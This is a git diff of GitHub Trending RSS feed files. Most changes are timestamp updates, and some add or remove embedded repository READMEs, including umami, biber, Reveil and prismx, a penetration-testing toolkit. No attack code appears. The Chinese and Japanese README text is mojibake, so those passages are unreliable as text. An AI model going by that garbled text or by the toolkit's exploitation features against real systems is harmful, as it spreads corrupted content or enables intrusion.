+ 2024-01-04T01:39:25ZDaily Trending of Stata in GitHub
\ No newline at end of file
diff --git a/ston/daily/index.xml b/ston/daily/index.xml
index dddb5f20ea6..dcd809d7ce7 100644
--- a/ston/daily/index.xml
+++ b/ston/daily/index.xml
@@ -1,7 +1,7 @@
GitHub STON Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:38:28Z
+ 2024-01-04T01:39:30ZDaily Trending of STON in GitHub
\ No newline at end of file
diff --git a/stringtemplate/daily/index.xml b/stringtemplate/daily/index.xml
index ee94050cb0f..6444924181c 100644
--- a/stringtemplate/daily/index.xml
+++ b/stringtemplate/daily/index.xml
@@ -1,7 +1,7 @@
GitHub StringTemplate Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:38:30Z
+ 2024-01-04T01:39:28ZDaily Trending of StringTemplate in GitHub
\ No newline at end of file
diff --git a/stylus/daily/index.xml b/stylus/daily/index.xml
index f7af8bee024..cefb8da3f10 100644
--- a/stylus/daily/index.xml
+++ b/stylus/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Stylus Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:38:29Z
+ 2024-01-04T01:39:29ZDaily Trending of Stylus in GitHub
\ No newline at end of file
diff --git a/subrip-text/daily/index.xml b/subrip-text/daily/index.xml
index 86439ea9d7d..aefac92a286 100644
--- a/subrip-text/daily/index.xml
+++ b/subrip-text/daily/index.xml
@@ -1,7 +1,7 @@
GitHub SubRip Text Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:38:27Z
+ 2024-01-04T01:39:30ZDaily Trending of SubRip Text in GitHub
\ No newline at end of file
diff --git a/sugarss/daily/index.xml b/sugarss/daily/index.xml
index 916e4a49fcb..080a716c28d 100644
--- a/sugarss/daily/index.xml
+++ b/sugarss/daily/index.xml
@@ -1,7 +1,7 @@
GitHub SugarSS Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:38:31Z
+ 2024-01-04T01:39:31ZDaily Trending of SugarSS in GitHub
\ No newline at end of file
diff --git a/supercollider/daily/index.xml b/supercollider/daily/index.xml
index b9ba52b76fc..3769a703b42 100644
--- a/supercollider/daily/index.xml
+++ b/supercollider/daily/index.xml
@@ -1,7 +1,7 @@
GitHub SuperCollider Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:38:32Z
+ 2024-01-04T01:39:32ZDaily Trending of SuperCollider in GitHub
\ No newline at end of file
diff --git a/svelte/daily/index.xml b/svelte/daily/index.xml
index 8a8df1309cd..452fb15caee 100644
--- a/svelte/daily/index.xml
+++ b/svelte/daily/index.xml
@@ -1,14 +1,7 @@
GitHub Svelte Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:38:35Z
+ 2024-01-04T01:39:35ZDaily Trending of Svelte in GitHub
-
- cyanial/genshin-impact-picker
- 2024-01-03T01:38:35Z
- tag:github.com,2024-01-03:/cyanial/genshin-impact-picker
-
- <p></p><hr>
-
\ No newline at end of file
diff --git a/svg/daily/index.xml b/svg/daily/index.xml
index 6378b7c9230..041dda38ce4 100644
--- a/svg/daily/index.xml
+++ b/svg/daily/index.xml
@@ -1,7 +1,7 @@
GitHub SVG Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:38:35Z
+ 2024-01-04T01:39:35ZDaily Trending of SVG in GitHub
\ No newline at end of file
diff --git a/swift/daily/index.xml b/swift/daily/index.xml
index 26d3d953b62..548680b0f5a 100644
--- a/swift/daily/index.xml
+++ b/swift/daily/index.xml
@@ -1,7 +1,14 @@
GitHub Swift Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:38:41Z
+ 2024-01-04T01:39:41ZDaily Trending of Swift in GitHub
+
+ Lessica/Reveil
+ 2024-01-04T01:39:41Z
+ tag:github.com,2024-01-04:/Lessica/Reveil
+
+ <p>Bringing back the most advanced system and security analysis tool.</p><hr><h1>Reveil</h1>
<p><a href="https://github.com/Lessica/ReveilApp/actions/workflows/build-analyze.yml"><img src="https://github.com/Lessica/ReveilApp/actions/workflows/build-analyze.yml/badge.svg?sanitize=true" alt="Build and Analyze"></a> <a href="https://github.com/Lessica/ReveilApp/actions/workflows/build-analyze.yml"><img src="https://github.com/Lessica/ReveilApp/actions/workflows/build-archive.yml/badge.svg?sanitize=true" alt="Build Archive"></a> <img src="https://img.shields.io/github/v/release/Lessica/Reveil" alt="Latest Release"> <img src="https://img.shields.io/github/license/Lessica/Reveil" alt="MIT License"></p>
<p>Reveil is a replication of <a href="https://unveilapp.com">Unveil</a> in pure SwiftUI.</p>
<p><strong>IMPORTANT</strong>: iOS 15 and above is required.</p>
<blockquote>
<p>Currently, Reveil is in early development, and we are working hard to make it better.</p>
</blockquote>
<p><img src="https://raw.githubusercontent.com/Lessica/Reveil/main/Artworks/Screenshot.png" alt="Screenshot"></p>
<h2>Why we developed this again?</h2>
<p>Unveil - The most advanced system and security analysis tool. Never got any updates after its initial release.</p>
<p>So we decided to make this app alive again, and open-source it, that's cool. Also, Reveil utilizes complex and innovative techniques to detect possible software modifications or security threats within the iOS application sandbox without relying on exclusive libraries.</p>
<h2>Features</h2>
<ul>
<li>State-of-the-art Security Analysis</li>
<li>Visualizes CPU usage (Total/User/Idle), displays CPU specifications, and average load information.</li>
<li>Visualizes memory usage, displays memory specifications, and classifies memory allocations.</li>
<li>Displays system version, BootROM version, kernel version, system uptime, and other kernel information.</li>
<li>Visualizes storage usage and displays the technical storage usage information.</li>
<li>Lists mounted file systems and displays detailed statistical information such as type/attributes.</li>
<li>Visualizes internet usage and attributes internet usage to data sources such as WiFi/Ethernet, Cellular connection, or Personal Hotspot.</li>
<li>Visualizes and displays internet usage information of numerous data sources.</li>
<li>Displays available network interfaces (e.g. Wired/Wireless, Cellular connection, Access Point, IPSec tunnel) with detailed statistical information (e.g. MTU, Linespeed, Downloaded bytes, Uploaded bytes).</li>
</ul>
<h2>Limitations</h2>
<p>Reveil is not breaking any sandbox rules, so it can't fetch some information shown below:</p>
<ul>
<li>CPU frequency</li>
<li>CPU temperature</li>
<li>Battery temperature</li>
<li>Installed applications</li>
<li>Installed tweaks</li>
</ul>
<p>...</p>
<p>And not limited to the above.</p>
<h2>License</h2>
<p>Reveil is licensed under the <a href="https://raw.githubusercontent.com/Lessica/Reveil/main/LICENSE">MIT License</a>.</p>
<hr>
<p>Copyright (c) 2023-2024 Lessica & Lakr Aream, All rights reserved.</p>
+
\ No newline at end of file
diff --git a/swig/daily/index.xml b/swig/daily/index.xml
index a0ceda82719..0e082145726 100644
--- a/swig/daily/index.xml
+++ b/swig/daily/index.xml
@@ -1,7 +1,7 @@
GitHub SWIG Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:38:38Z
+ 2024-01-04T01:39:39ZDaily Trending of SWIG in GitHub
\ No newline at end of file
diff --git a/systemverilog/daily/index.xml b/systemverilog/daily/index.xml
index 8b24920b5cd..770dccaa37c 100644
--- a/systemverilog/daily/index.xml
+++ b/systemverilog/daily/index.xml
@@ -1,7 +1,7 @@
GitHub SystemVerilog Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:38:49Z
+ 2024-01-04T01:39:57ZDaily Trending of SystemVerilog in GitHub
\ No newline at end of file
diff --git a/talon/daily/index.xml b/talon/daily/index.xml
index 5fa25814061..ab2d78c6ca4 100644
--- a/talon/daily/index.xml
+++ b/talon/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Talon Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:38:50Z
+ 2024-01-04T01:39:56ZDaily Trending of Talon in GitHub
\ No newline at end of file
diff --git a/tcl/daily/index.xml b/tcl/daily/index.xml
index 424ad7b682f..e1336ad4c4b 100644
--- a/tcl/daily/index.xml
+++ b/tcl/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Tcl Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:38:48Z
+ 2024-01-04T01:39:58ZDaily Trending of Tcl in GitHub
\ No newline at end of file
diff --git a/tcsh/daily/index.xml b/tcsh/daily/index.xml
index 14effb2de07..da3d6e27375 100644
--- a/tcsh/daily/index.xml
+++ b/tcsh/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Tcsh Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:38:48Z
+ 2024-01-04T01:39:56ZDaily Trending of Tcsh in GitHub
\ No newline at end of file
diff --git a/tea/daily/index.xml b/tea/daily/index.xml
index a90df7b5e25..04dfc21f43c 100644
--- a/tea/daily/index.xml
+++ b/tea/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Tea Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:38:51Z
+ 2024-01-04T01:40:00ZDaily Trending of Tea in GitHub
\ No newline at end of file
diff --git a/terra/daily/index.xml b/terra/daily/index.xml
index 0d6fb31db08..9cf086636c3 100644
--- a/terra/daily/index.xml
+++ b/terra/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Terra Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:38:53Z
+ 2024-01-04T01:39:59ZDaily Trending of Terra in GitHub
\ No newline at end of file
diff --git a/tex/daily/index.xml b/tex/daily/index.xml
index 183e744d1a4..514959df8d1 100644
--- a/tex/daily/index.xml
+++ b/tex/daily/index.xml
@@ -1,14 +1,7 @@
GitHub TeX Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:38:56Z
+ 2024-01-04T01:40:03ZDaily Trending of TeX in GitHub
-
- plk/biber
- 2024-01-03T01:38:56Z
- tag:github.com,2024-01-03:/plk/biber
-
- <p>Backend processor for BibLaTeX</p><hr><h1>OVERVIEW</h1>
<p>Biber is a sophisticated bibliography processing backend for the LaTeX biblatex package. It supports an unsurpassed feature set for automated conformance to complex bibliography style requirements such as labelling, sorting and name handling. It has comprehensive Unicode support.</p>
<p><strong>Please note</strong>--the default download for all platforms is 64-bit. Please look in the files section for the correct 32-bit platform instead of using the default download button if you want 32-bit.</p>
<h2>REQUIREMENTS</h2>
<p>Biber is written in Perl with the aim of providing a customised and sophisticated data preparation backend for biblatex.</p>
<p>You do not need to install Perl to use biber--binaries are provided for many operating systems via the main TeX distributions (TeXLive, MacTeX, MiKTeX) and also via download from SourceForge.</p>
<p>You only need a Perl installation to use biber in one of the following cases:</p>
<ul>
<li>A binary version is not available for your OS/platform.</li>
<li>You wish to keep up with all of the bleeding-edge git commits before they are packaged into a binary.</li>
</ul>
<p>For the vast majority of users, using the latest binary for the OS/platform you are using will be what you want to do. For details on the requirements for installing the Perl program version, please see the biber PDF documentation.</p>
<p>The git repository for Biber is kept on github:</p>
<p><a href="https://github.com/plk/biber">https://github.com/plk/biber</a></p>
<h2>INSTALLING</h2>
<p>If you wish to install from the source, make sure you have permissions to install Perl modules, get the source and from the top-level source directory, do:</p>
<pre><code>perl Build.PL
./Build installdeps
./Build install
</code></pre>
<p>biber should now be available in your path, run <code>biber --version</code> to verify.</p>
<h2>SUPPORT AND DOCUMENTATION</h2>
<p>After installing, <code>biber --help</code> will give you the basic documentation.</p>
<p>The latest PDF documentation can be found here:</p>
<p><a href="https://sourceforge.net/projects/biblatex-biber/files/biblatex-biber">https://sourceforge.net/projects/biblatex-biber/files/biblatex-biber</a></p>
<p>More information, bugfix releases, forums and bug tracker are available at:</p>
<p><a href="https://github.com/plk/biber">https://github.com/plk/biber</a></p>
<h2>BUILDING</h2>
<p>If you wish to build you own binary, see the main biber PDF documentation and particularly the included BUILDERS.README file The PDF documentation is in the <code>documentation</code> folder for the release on Sourceforge.</p>
<h2>LICENCE</h2>
<p>Copyright 2009-2023 Franรงois Charette and Philip Kime, all rights reserved.</p>
<p>This module is free software. You can redistribute it and/or modify it under the terms of the Artistic License 2.0.</p>
<p>This program is distributed in the hope that it will be useful, but without any warranty; without even the implied warranty of merchantability or fitness for a particular purpose.</p>
-
\ No newline at end of file
diff --git a/texinfo/daily/index.xml b/texinfo/daily/index.xml
index c0f139577aa..ab81d89f78a 100644
--- a/texinfo/daily/index.xml
+++ b/texinfo/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Texinfo Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:39:03Z
+ 2024-01-04T01:40:12ZDaily Trending of Texinfo in GitHub
\ No newline at end of file
diff --git a/text/daily/index.xml b/text/daily/index.xml
index b66950f3e3a..7951f148f1f 100644
--- a/text/daily/index.xml
+++ b/text/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Text Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:39:03Z
+ 2024-01-04T01:40:13ZDaily Trending of Text in GitHub
\ No newline at end of file
diff --git a/textile/daily/index.xml b/textile/daily/index.xml
index 52419b42e2a..a6e829c1fde 100644
--- a/textile/daily/index.xml
+++ b/textile/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Textile Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:39:02Z
+ 2024-01-04T01:40:11ZDaily Trending of Textile in GitHub
\ No newline at end of file
diff --git a/textmate-properties/daily/index.xml b/textmate-properties/daily/index.xml
index 0b4a2a4e66c..38cbf5cea01 100644
--- a/textmate-properties/daily/index.xml
+++ b/textmate-properties/daily/index.xml
@@ -1,7 +1,7 @@
GitHub TextMate Properties Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:39:01Z
+ 2024-01-04T01:40:13ZDaily Trending of TextMate Properties in GitHub
\ No newline at end of file
diff --git a/thrift/daily/index.xml b/thrift/daily/index.xml
index efcdc55dff2..8ae7b824acf 100644
--- a/thrift/daily/index.xml
+++ b/thrift/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Thrift Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:39:05Z
+ 2024-01-04T01:40:17ZDaily Trending of Thrift in GitHub
\ No newline at end of file
diff --git a/ti-program/daily/index.xml b/ti-program/daily/index.xml
index b7eec138a96..27f9a162d6f 100644
--- a/ti-program/daily/index.xml
+++ b/ti-program/daily/index.xml
@@ -1,7 +1,7 @@
GitHub TI Program Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:39:05Z
+ 2024-01-04T01:40:16ZDaily Trending of TI Program in GitHub
\ No newline at end of file
diff --git a/tla/daily/index.xml b/tla/daily/index.xml
index f2302415acd..735f0995bd8 100644
--- a/tla/daily/index.xml
+++ b/tla/daily/index.xml
@@ -1,7 +1,7 @@
GitHub TLA Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:39:07Z
+ 2024-01-04T01:40:15ZDaily Trending of TLA in GitHub
\ No newline at end of file
diff --git a/toml/daily/index.xml b/toml/daily/index.xml
index 31ade538d05..b402bae038e 100644
--- a/toml/daily/index.xml
+++ b/toml/daily/index.xml
@@ -1,7 +1,7 @@
GitHub TOML Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:39:08Z
+ 2024-01-04T01:40:20ZDaily Trending of TOML in GitHub
\ No newline at end of file
diff --git a/tsql/daily/index.xml b/tsql/daily/index.xml
index ca6a1939c1c..a8f694a312b 100644
--- a/tsql/daily/index.xml
+++ b/tsql/daily/index.xml
@@ -1,7 +1,7 @@
GitHub TSQL Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:39:10Z
+ 2024-01-04T01:40:21ZDaily Trending of TSQL in GitHub
\ No newline at end of file
diff --git a/tsv/daily/index.xml b/tsv/daily/index.xml
index f9bf3288a7d..dab53437d8c 100644
--- a/tsv/daily/index.xml
+++ b/tsv/daily/index.xml
@@ -1,7 +1,7 @@
GitHub TSV Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:39:09Z
+ 2024-01-04T01:40:19ZDaily Trending of TSV in GitHub
\ No newline at end of file
diff --git a/tsx/daily/index.xml b/tsx/daily/index.xml
index faf82156791..a24331ce959 100644
--- a/tsx/daily/index.xml
+++ b/tsx/daily/index.xml
@@ -1,7 +1,7 @@
GitHub TSX Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:39:11Z
+ 2024-01-04T01:40:22ZDaily Trending of TSX in GitHub
\ No newline at end of file
diff --git a/turing/daily/index.xml b/turing/daily/index.xml
index 84a180aa0dd..78745794717 100644
--- a/turing/daily/index.xml
+++ b/turing/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Turing Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:39:12Z
+ 2024-01-04T01:40:24ZDaily Trending of Turing in GitHub
\ No newline at end of file
diff --git a/turtle/daily/index.xml b/turtle/daily/index.xml
index 5e7abe4af3c..52ce8461d93 100644
--- a/turtle/daily/index.xml
+++ b/turtle/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Turtle Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:39:13Z
+ 2024-01-04T01:40:24ZDaily Trending of Turtle in GitHub
\ No newline at end of file
diff --git a/twig/daily/index.xml b/twig/daily/index.xml
index 02f4bb4fa03..951c602d7fa 100644
--- a/twig/daily/index.xml
+++ b/twig/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Twig Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:39:14Z
+ 2024-01-04T01:40:23ZDaily Trending of Twig in GitHub
\ No newline at end of file
diff --git a/txl/daily/index.xml b/txl/daily/index.xml
index 341d608ee9e..ad05edb511d 100644
--- a/txl/daily/index.xml
+++ b/txl/daily/index.xml
@@ -1,7 +1,7 @@
GitHub TXL Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:39:15Z
+ 2024-01-04T01:40:27ZDaily Trending of TXL in GitHub
\ No newline at end of file
diff --git a/type-language/daily/index.xml b/type-language/daily/index.xml
index 03a0974a767..7f96a3e258d 100644
--- a/type-language/daily/index.xml
+++ b/type-language/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Type Language Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:39:16Z
+ 2024-01-04T01:40:26ZDaily Trending of Type Language in GitHub
\ No newline at end of file
diff --git a/typescript/daily/index.xml b/typescript/daily/index.xml
index ed9f9d2ed87..5fa5a409441 100644
--- a/typescript/daily/index.xml
+++ b/typescript/daily/index.xml
@@ -1,28 +1,28 @@
GitHub TypeScript Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:39:22Z
+ 2024-01-04T01:40:30ZDaily Trending of TypeScript in GitHub
- AntonioErdeljac/next-auth-v5-advanced-guide
- 2024-01-03T01:39:22Z
- tag:github.com,2024-01-03:/AntonioErdeljac/next-auth-v5-advanced-guide
-
- <p></p><hr><h1>Next Auth v5 - Advanced Guide (2024)</h1>
<p><img src="https://github.com/AntonioErdeljac/next-auth-v5-advanced-guide/assets/23248726/d0175397-8c3f-4e82-91c4-78c14f29bb81" alt="image"></p>
<p>This is a repository for Next Auth v5 - Advanced Guide (2024)</p>
<p><a href="https://youtu.be/1MTyCvS05V4">VIDEO TUTORIAL</a></p>
<p>Key Features:</p>
<ul>
<li>๐ Next-auth v5 (Auth.js)</li>
<li>๐ Next.js 14 with server actions</li>
<li>๐ Credentials Provider</li>
<li>๐ OAuth Provider (Social login with Google & GitHub)</li>
<li>๐ Forgot password functionality</li>
<li>โ๏ธ Email verification</li>
<li>๐ฑ Two factor verification</li>
<li>๐ฅ User roles (Admin & User)</li>
<li>๐ Login component (Opens in redirect or modal)</li>
<li>๐ Register component</li>
<li>๐ค Forgot password component</li>
<li>โ Verification component</li>
<li>โ ๏ธ Error component</li>
<li>๐ Login button</li>
<li>๐ช Logout button</li>
<li>๐ง Role Gate</li>
<li>๐ Exploring next.js middleware</li>
<li>๐ Extending & Exploring next-auth session</li>
<li>๐ Exploring next-auth callbacks</li>
<li>๐ค useCurrentUser hook</li>
<li>๐ useRole hook</li>
<li>๐ง currentUser utility</li>
<li>๐ฎ currentRole utility</li>
<li>๐ฅ๏ธ Example with server component</li>
<li>๐ป Example with client component</li>
<li>๐ Render content for admins using RoleGate component</li>
<li>๐ก๏ธ Protect API Routes for admins only</li>
<li>๐ Protect Server Actions for admins only</li>
<li>๐ง Change email with new verification in Settings page</li>
<li>๐ Change password with old password confirmation in Settings page</li>
<li>๐ Enable/disable two-factor auth in Settings page</li>
<li>๐ Change user role in Settings page (for development purposes only)</li>
</ul>
<h3>Prerequisites</h3>
<p><strong>Node version 18.7.x</strong></p>
<h3>Cloning the repository</h3>
<pre><code class="language-shell">git clone https://github.com/AntonioErdeljac/next-auth-v5-advanced-guide.git
</code></pre>
<h3>Install packages</h3>
<pre><code class="language-shell">npm i
</code></pre>
<h3>Setup .env file</h3>
<pre><code class="language-js">DATABASE_URL=
DIRECT_URL=
AUTH_SECRET=
GITHUB_CLIENT_ID=
GITHUB_CLIENT_SECRET=
GOOGLE_CLIENT_ID=
GOOGLE_CLIENT_SECRET=
RESEND_API_KEY=
NEXT_PUBLIC_APP_URL=
</code></pre>
<h3>Setup Prisma</h3>
<pre><code class="language-shell">npx prisma generate
npx prisma db push
</code></pre>
<h3>Start the app</h3>
<pre><code class="language-shell">npm run dev
</code></pre>
<h2>Available commands</h2>
<p>Running commands with npm <code>npm run [command]</code></p>
<table>
<thead>
<tr>
<th align="left">command</th>
<th align="left">description</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>dev</code></td>
<td align="left">Starts a development instance of the app</td>
</tr>
</tbody>
</table>
+ yqcs/prismx
+ 2024-01-04T01:40:30Z
+ tag:github.com,2024-01-04:/yqcs/prismx
+
+ <p>:: ๆฃฑ้ X ยท ไธไฝๅ็่ฝป้ๅ่ทจๅนณๅฐๆธ้็ณป็ป</p><hr><img src="https://raw.githubusercontent.com/yqcs/prismx/main/public/static/scan.png" alt="pc_home" width="30%">
<h1>:: ๆฃฑ้ X ยท ไธไฝๅ็่ฝป้ๅ่ทจๅนณๅฐๆธ้็ณป็ป</h1>
<hr>
<p align="center"> <a href="https://prismx.io/guide" target="_blank">ไฝฟ็จๆๆกฃ</a> ยท <a href="">ไธปๆบ็ฎก็</a> ยท <a href="">้ฃ้ฉๆซๆ</a> ยท <a href="">ๆผๆดๅฉ็จ</a> </p>
<h2>ๅฏๅจ</h2>
<h3>ยท WEB ็ณป็ป</h3>
<p>ไธ่ฝฝๅฏนๅบ OS ARCH ็่ฝฏไปถๅ <a href="https://github.com/yqcs/prismx/releases/">Prism X releases</a> ๏ผ่งฃๅไนๅ่ตไบๅฏๆง่กๆ้ไนๅ็ดๆฅ่ฟ่กๅณๅฏใ</p>
<img src="https://raw.githubusercontent.com/yqcs/prismx/main/public/static/pc_home.jpg" alt="pc_home">
<p>Linux Amd64 ่ฟ่ก็คบไพ๏ผ</p>
<pre><code class="language-bash">$ wget https://github.com/yqcs/prismx/releases/download/{version}/prismx_linux_amd64.zip
$ unzip prismx_linux_amd64.zip
$ cd prismx_linux_amd64
$ chmod +x prismx
$ ./prismx
</code></pre>
<h4>็ณป็ป้ป่ฎค่ดฆๅท๏ผ<code>prismx/prismx@passw0rd</code></h4>
<h3>ยท ็้ข้ข่ง</h3>
<img src="https://raw.githubusercontent.com/yqcs/prismx/main/public/static/view.jpg" alt="pc_home">
<hr>
<h2>QQ ๅฎๅ จ็ ็ฉถ็พค๏ผ</h2>
<h3><a href="https://jq.qq.com/?_wv=1027&k=azWZhmSy">็นๅปๅ ๅ ฅ๏ผ528118163</a></h3>
<h2>ๅ ็พค / ่็ณป๏ผๅทฆ๏ผ | ๅ ฌไผๅท๏ผ้ฎๅคฉๅฎ้ชๅฎค๏ผๅณ๏ผ</h2>
<p><img src="https://raw.githubusercontent.com/yqcs/prismx/main/public/static/wx.jpg" width="200"><img src="https://raw.githubusercontent.com/yqcs/prismx/main/public/static/wx_qrcode.jpg" width="200"></p>
- umami-software/umami
- 2024-01-03T01:39:22Z
- tag:github.com,2024-01-03:/umami-software/umami
-
- <p>Umami is a simple, fast, privacy-focused alternative to Google Analytics.</p><hr><h1>umami</h1>
<p>Umami is a simple, fast, privacy-focused alternative to Google Analytics.</p>
<h2>Getting started</h2>
<p>A detailed getting started guide can be found at <a href="https://umami.is/docs/">https://umami.is/docs/</a></p>
<h2>Installing from source</h2>
<h3>Requirements</h3>
<ul>
<li>A server with Node.js version 16.13 or newer</li>
<li>A database. Umami supports <a href="https://www.mysql.com/">MySQL</a> and <a href="https://www.postgresql.org/">Postgresql</a> databases.</li>
</ul>
<h3>Install Yarn</h3>
<pre><code>npm install -g yarn
</code></pre>
<h3>Get the source code and install packages</h3>
<pre><code>git clone https://github.com/umami-software/umami.git
cd umami
yarn install
</code></pre>
<h3>Configure umami</h3>
<p>Create an <code>.env</code> file with the following</p>
<pre><code>DATABASE_URL=connection-url
</code></pre>
<p>The connection url is in the following format:</p>
<pre><code>postgresql://username:mypassword@localhost:5432/mydb
mysql://username:mypassword@localhost:3306/mydb
</code></pre>
<h3>Build the application</h3>
<pre><code class="language-bash">yarn build
</code></pre>
<p>The build step will also create tables in your database if you ae installing for the first time. It will also create a login user with username <strong>admin</strong> and password <strong>umami</strong>.</p>
<h3>Start the application</h3>
<pre><code class="language-bash">yarn start
</code></pre>
<p>By default this will launch the application on <code>http://localhost:3000</code>. You will need to either <a href="https://docs.nginx.com/nginx/admin-guide/web-server/reverse-proxy/">proxy</a> requests from your web server or change the <a href="https://nextjs.org/docs/api-reference/cli#production">port</a> to serve the application directly.</p>
<h2>Installing with Docker</h2>
<p>To build the umami container and start up a Postgres database, run:</p>
<pre><code class="language-bash">docker compose up -d
</code></pre>
<p>Alternatively, to pull just the Umami Docker image with PostgreSQL support:</p>
<pre><code class="language-bash">docker pull ghcr.io/umami-software/umami:postgresql-latest
</code></pre>
<p>Or with MySQL support:</p>
<pre><code class="language-bash">docker pull ghcr.io/umami-software/umami:mysql-latest
</code></pre>
<h2>Getting updates</h2>
<p>To get the latest features, simply do a pull, install any new dependencies, and rebuild:</p>
<pre><code class="language-bash">git pull
yarn install
yarn build
</code></pre>
<p>To update the Docker image, simply pull the new images and rebuild:</p>
<pre><code class="language-bash">docker compose pull
docker compose up --force-recreate
</code></pre>
<h2>License</h2>
<p>MIT</p>
+ tech-creative-club/disaster-posts
+ 2024-01-04T01:40:30Z
+ tag:github.com,2024-01-04:/tech-creative-club/disaster-posts
+
+ <p></p><hr><p>JP | <a href="https://raw.githubusercontent.com/tech-creative-club/disaster-posts/main/README.en.md">EN</a></p>
<p><img src="https://flat.badgen.net/discord/members/SAFv8YkSFm" alt="Discord Member Count"> <img src="https://flat.badgen.net/github/stars/tech-creative-club/disaster-posts" alt="Github Star Count"> <img src="https://flat.badgen.net/github/commits/tech-creative-club/disaster-posts" alt="Github Commit Count"> <img src="https://flat.badgen.net/github/last-commit/tech-creative-club/disaster-posts" alt="Github Last Commit"></p>
<h1>Disaster Posts ๏ผไปฎ๏ผ</h1>
<h2>ๆฆ่ฆ</h2>
<ul>
<li>ใใฎใขใใชใฏใ็ฝๅฎณๆใซใใใๆ ๅ ฑๅ ฑๆใ็ฎ็ใจใใใขใใชใงใใ</li>
<li><a href="https://discord.com/invite/SAFv8YkSFm">ๆๅตใฏใฉใ</a> Discordใตใผใใผใงใฎ้็บใ่กใฃใฆใใพใใ</li>
</ul>
<h2>้็บๆน้</h2>
<ul>
<li>ๅบๆฌ็ใซใฟในใฏใฏIssueใใผในใง็ฎก็ใใพใ</li>
<li>ไฝๆฅญ้ๅงๅใซIssueใไฝใใใงใใใฐใใฎไฝๆฅญใๅฟ ่ฆใใฉใใๅๆใๅใใพใใใ</li>
<li>Issueใซใขใตใคใณใใฆ้็บใใฆใใใ ใใพใ</li>
<li>ๅชๅ ๅบฆใฏProjectsใๅ็ งใใฆใใ ใใ</li>
<li>่ญฐ่ซใใใๅ ๅฎนใ็บ็ใใใ<a href="https://github.com/tech-creative-club/disaster-posts/discussions">Discussion</a>ใ็ซใฆใฆใใ ใใ</li>
</ul>
<h2>้็บ็ฐๅข</h2>
<h3>ใใญใณใใจใณใ</h3>
<ul>
<li><a href="https://nextjs.org/">Next.js</a></li>
<li><a href="https://www.typescriptlang.org/">TypeScript</a></li>
<li><a href="https://mantine.dev/">Mantine</a></li>
</ul>
<h3>ใใใฏใจใณใ</h3>
<ul>
<li><a href="https://aws.amazon.com/jp/ecs/">ECS</a></li>
<li><a href="https://www.docker.com/">Docker</a></li>
<li><a href="https://docs.docker.jp/compose/toc.html">Docker Compose</a></li>
</ul>
<h2>้็บ็ฐๅขๆง็ฏ</h2>
<h3>ใใญใณใใจใณใ</h3>
<ol>
<li>ใใฎใชใใธใใชใใฏใญใผใณใใ <pre><code class="language-bash">git clone https://github.com/tech-creative-club/disaster-posts
</code></pre> </li>
<li>ใใฃใฌใฏใใชใซ็งปๅใใ <pre><code class="language-bash"> cd disaster-posts
</code></pre> </li>
<li>ใใใฑใผใธใใคใณในใใผใซใใ <pre><code class="language-bash">yarn install
</code></pre> </li>
<li>้็บใตใผใใผใ่ตทๅใใ <pre><code class="language-bash">yarn dev
</code></pre> </li>
<li><a href="http://localhost:3000">http://localhost:3000</a> ใซใขใฏใปในใใ</li>
</ol>
<h3>ใใใฏใจใณใ</h3>
